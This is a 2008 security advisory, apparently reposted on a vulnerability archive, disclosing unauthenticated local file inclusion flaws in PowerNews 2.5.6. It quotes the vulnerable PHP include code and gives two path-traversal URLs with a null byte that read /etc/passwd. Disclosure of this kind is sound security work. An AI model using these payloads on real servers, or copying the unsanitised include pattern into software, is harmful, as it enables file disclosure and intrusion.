Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  PKs Movie Database version 3.0.3 (SQL/XSS)

  Joomla <= v1.0.14-
RC1(Index.
php) Remote File Inclusion Exploit

  Joovili <= v.2.1 (members_help.
php) Remote File İnclude Vulnerability

  Blackboard (id) Remote SQL Injection

From:Digital Security Research Group [DSecRG] <research_(at)_dsec.ru>
Date:10.02.2008
Subject:[DSECRG-08-014] Multiple LFI in PowerNews (Newsscript) 2.5.6


Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-014


Application:                    PowerNews (Newsscript)
Versions Affected:              2.5.6
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        08.02.2008
Authors:                        Alexandr Polyakov, Stas Svistunovich
                               Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.


1. Local File Include vulnerabilities found in scripts:

pnadmin/categories.inc.php
pnadmin/news.inc.php
pnadmin/other.inc.php
pnadmin/permissions.inc.php
pnadmin/templates.inc.php
pnadmin/users.inc.php

Non-authentication user can directly access to this scripts.

Code
****
#################################################

 if ($_GET[subpage]) {
   if (file_exists($_GET[page]."_".$_GET[subpage].".inc.
php")) {
     include($_GET[page]."_".$_GET[subpage].".inc.
php");
   } else {
     ?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
   }
 } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../..
/../../../../../../../etc/passwd%00


2. Local File Include vulnerability found in script pnadmin/index.php in admin area.

Administrator can include local files.

Code
****
#################################################

   if ($pnloggedin != "YES") {

     include("login.inc.php");

   } else {

     if (!$_GET[page]) { $_GET[page] = "main"; }
     if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {

#################################################

Example:

http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../..
/../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
               http://www.dsec.ru (in Russian)

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
 



Рейтинг@Mail.ru